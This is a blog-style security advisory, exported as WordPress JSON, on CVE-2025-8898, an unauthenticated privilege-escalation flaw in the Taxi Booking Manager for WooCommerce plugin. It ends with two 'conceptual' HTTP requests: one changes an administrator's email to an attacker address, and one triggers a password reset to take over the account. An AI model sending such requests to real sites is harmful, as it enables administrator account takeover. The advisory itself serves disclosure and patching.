{"id":64228,"date":"2025-08-22T01:18:53","date_gmt":"2025-08-22T01:18:53","guid":{"rendered":""},"modified":"2025-09-16T12:32:19","modified_gmt":"2025-09-16T18:32:19","slug":"cve-2025-8898-privilege-escalation-vulnerability-in-taxi-booking-manager-for-woocommerce","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-8898-privilege-escalation-vulnerability-in-taxi-booking-manager-for-woocommerce\/","title":{"rendered":"CVE-2025-8898: Privilege Escalation Vulnerability in Taxi Booking Manager for WooCommerce<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-8898 represents a critical vulnerability within the Taxi Booking Manager for Woocommerce, a popular WordPress plugin. This plugin is used to manage taxi bookings and is an essential tool for many taxi companies that use WordPress for their online presence. The vulnerability allows unauthenticated<\/a> users to escalate their privileges by taking over any account, including those of administrators. This can lead to potential system<\/a> compromise or data leakage, making it a severe threat to the security of any website using this plugin.
\nThis vulnerability affects all versions of the plugin<\/a> up to and including 1.3.0, making a significant number of websites potentially at risk. Due to the high severity of this vulnerability<\/a>, it is crucial for administrators to implement the vendor’s patch as soon as possible to mitigate the risk.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-8898
\nSeverity: Critical (CVSS: 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise<\/a>, data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Taxi Booking Manager for Woocommerce | Up to and including 1.3.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the plugin’s failure to validate a user’s<\/a> capabilities before updating a plugin setting or validating their identity before updating user details. This allows unauthenticated attackers to change arbitrary user’s<\/a> email addresses, including those of administrators. Once an attacker has changed the email address, they can then use the password reset feature to gain access to the account<\/a>, effectively taking over the account and all its associated privileges.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited. This example assumes the attacker knows the target user’s username:<\/p>\n

POST \/wp-json\/tbm\/v1\/updateuserdetails HTTP\/1.1\nHost: victimwebsite.com\nContent-Type: application\/json\n{\n\"username\": \"admin\",\n\"email\": \"attacker@email.com\"\n}<\/code><\/pre>\n
After successfully changing the email, the attacker can then initiate a password reset<\/a>:<\/p>\n
POST \/wp-login.php?action=lostpassword HTTP\/1.1\nHost: victimwebsite.com\nContent-Type: application\/x-www-form-urlencoded\nuser_login=admin&redirect_to=&wp-submit=Get+New+Password<\/code><\/pre>\n
These requests would allow an attacker to take over the administrator’s account, leading to a potentially<\/a> severe system compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"
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